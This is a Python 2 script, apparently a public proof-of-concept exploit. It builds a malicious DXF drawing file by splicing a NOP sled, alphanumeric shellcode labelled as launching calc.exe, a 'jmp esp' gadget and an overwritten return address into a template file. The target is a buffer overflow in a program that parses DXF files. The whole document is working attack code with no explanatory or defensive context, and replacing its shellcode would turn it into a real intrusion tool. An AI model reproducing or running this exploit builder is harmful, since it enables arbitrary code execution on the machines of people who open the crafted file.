import sys
 
def main():
    
    try:
        fdR = open('src.dxf', 'rb+')
        strTotal = fdR.read()
        str1 = strTotal[:100]
        str2 = strTotal[1020:1124]
        str3 = strTotal[1128:1169]
        str4 = strTotal[1173:]
         
        eip = "\x66\x28\xC9\x61"    # leave popad ret
        jmp = "\x64\x64\xdb\x30"    # jmp esp
         
         
        # Modified Alphanumbric calc.exe shellcode 
        shellcode = '\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x00\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49\x49\x49\x48\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x44\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x54\x42\x32\x41\x42\x32\x42\x41\x30\x42\x41\x58\x41\x50\x38\x41\x42\x75\x4a\x49\x69\x6c\x4b\x58\x51\x54\x65\x50\x57\x70\x45\x50\x4e\x6b\x67\x35\x35\x6c\x4e\x6b\x73\x4c\x55\x55\x71\x68\x67\x71\x68\x6f\x6c\x4b\x52\x6f\x46\x78\x4e\x6b\x51\x4f\x71\x30\x74\x41\x7a\x4b\x30\x49\x6c\x4b\x54\x74\x6e\x6b\x76\x61\x4a\x4e\x35\x61\x4b\x70\x6a\x39\x4c\x6c\x4d\x54\x6b\x70\x30\x74\x54\x47\x6a\x61\x6a\x6a\x64\x4d\x63\x31\x79\x52\x4a\x4b\x69\x64\x67\x4b\x32\x74\x65\x74\x66\x64\x31\x65\x4a\x45\x6c\x4b\x71\x4f\x31\x34\x57\x71\x48\x6b\x52\x46\x6e\x6b\x64\x4c\x52\x6b\x4e\x6b\x31\x4f\x77\x6c\x54\x41\x68\x6b\x4c\x4b\x57\x6c\x6c\x4b\x57\x71\x4a\x4b\x4e\x69\x41\x4c\x65\x74\x67\x74\x4a\x63\x75\x61\x4f\x30\x51\x74\x6c\x4b\x61\x50\x50\x30\x4f\x75\x4f\x30\x32\x58\x64\x4c\x4c\x4b\x71\x50\x54\x4c\x4c\x4b\x70\x70\x57\x6c\x4e\x4d\x6e\x6b\x73\x58\x35\x58\x4a\x4b\x36\x69\x6c\x4b\x4d\x50\x4c\x70\x67\x70\x75\x50\x37\x70\x4c\x4b\x45\x38\x35\x6c\x41\x4f\x57\x41\x68\x76\x53\x50\x30\x56\x6e\x69\x6b\x48\x6f\x73\x6f\x30\x63\x4b\x62\x70\x30\x68\x58\x70\x6f\x7a\x57\x74\x51\x4f\x45\x38\x6f\x68\x59\x6e\x4f\x7a\x66\x6e\x62\x77\x69\x6f\x38\x67\x73\x53\x52\x41\x30\x6c\x71\x73\x64\x6e\x35\x35\x30\x78\x70\x65\x45\x50\x44'
         
                     
        if len(shellcode) > 920:
            print "[*] Error : Shellcode is too long !"
            return
        if len(shellcode) <= 920:
            dif = 920 - len(shellcode)
            while dif > 0 :
                shellcode += '\x90'
                dif = dif - 1
                 
        fdW= open('exploit.dxf', 'wb+')
        fdW.write(str1)
        fdW.write(shellcode)
        fdW.write(str2)
        fdW.write(jmp)
        fdW.write(str3)
        fdW.write(eip)
        fdW.write(str4) 
         
         
        fdW.close()
        fdR.close()
        print '[-] DXF file generated'
    except IOError:
        print '[*] Error : An IO error has occurred'
        print '[-] Exiting ...'
        sys.exit(-1)
                 
if __name__ == '__main__':
    main()